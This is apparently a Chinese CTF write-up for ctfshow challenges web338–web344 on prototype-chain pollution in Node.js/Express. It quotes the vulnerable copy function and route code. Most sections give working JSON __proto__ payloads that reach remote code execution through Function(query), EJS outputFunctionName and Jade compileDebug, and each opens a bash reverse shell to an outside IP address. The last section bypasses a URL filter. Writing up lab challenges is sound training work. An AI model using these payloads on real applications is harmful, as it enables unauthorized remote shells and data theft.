web338
原型鏈污染
comman.js
module.exports = {copy:copy
};function copy(object1, object2){for (let key in object2) {if (key in object2 && key in object1) {copy(object1[key], object2[key])} else {object1[key] = object2[key]}}}
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow==='36dboy'){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登錄失敗'+JSON.stringify(user)}); }});module.exports = router;
我們知道沒有對象都有一個原生屬性就是__proto__
然后我們利用這個來使用copy來實現屬性的污染把,secret的ctfshow屬性變為36dboy
POST:
{"__proto__":{"ctfshow":"36dboy"}}
然后發包就行
web339
原型鏈污染覆蓋 query 實現命令執行
app.js:
var indexRouter = require('./routes/index');
var loginRouter = require('./routes/login');
var apiRouter = require('./routes/api');
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');function User(){this.username='';this.password='';
}
function normalUser(){this.user
}/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var secert = {};var sess = req.session;let user = {};utils.copy(user,req.body);if(secert.ctfshow===flag){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登錄失敗'+JSON.stringify(user)}); }});module.exports = router;
api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');res.render('api', { query: Function(query)(query)});});module.exports = router;
res.render('api', { query: Function(query)(query)});
query屬性并且想把這個屬性變成函數然后再直接調用這個函數
我們利用這個來覆蓋query進行RCE
Function環境下沒有require函數,不能獲得child_process模塊,我們可以通過使用process.mainModule.constructor._load來代替require。
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}
然后使得api起反應,那么函數就會被調用了
由于是污染題,所以我靶機是開了差不多十來次,終于是拿到了
最后翻到了flag
web340
login.js變了
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {res.type('html');var flag='flag_here';var user = new function(){this.userinfo = new function(){this.isVIP = false;this.isAdmin = false;this.isAuthor = false; };}utils.copy(user.userinfo,req.body);if(user.userinfo.isAdmin){res.end(flag);}else{return res.json({ret_code: 2, ret_msg: '登錄失敗'}); }});module.exports = router;
用我們發送的請求(req.body)
覆蓋user.userinfo
的屬性為真
而我們要污染到object
的話就要兩層才能達到因為
userinfo
上層為user
,user
的上層為object
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}
發包然后觸發即可
web341
ejs 原型鏈污染 RCE
源碼和340沒有變,但是沒有api的函數觸發了
首先一樣的雙層污染
用snyk測一下先發現有ejs的
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');var __tmp2"}}}
這里的前面的 _tmp1; 和后面的 var __tmp2 不能刪,是為了閉合代碼。
污染之后沒有反應,隨便訪問一個頁面,反彈成功
根目錄下面找到flag
web342–web343
jade 原型鏈污染 rce
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"');//"}}}{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/27.25.151.6/9999 0>&1\"')"}}}
這里有些師傅反彈不到,可能是一個細節res接受JSON
而在是在login發包,你如果原地發會報錯
web344
router.get('/', function(req, res, next) {res.type('html');var flag = 'flag_here';if(req.url.match(/8c|2c|\,/ig)){res.end('where is flag :)');}var query = JSON.parse(req.query.query); if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){res.end(flag);}else{res.end('where is flag. :)');}});
過濾了8c 2c ,
var query = JSON.parse(req.query.query);
定義了一個js對象,訪問其參數值
直接傳就行了
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}
考慮一下繞過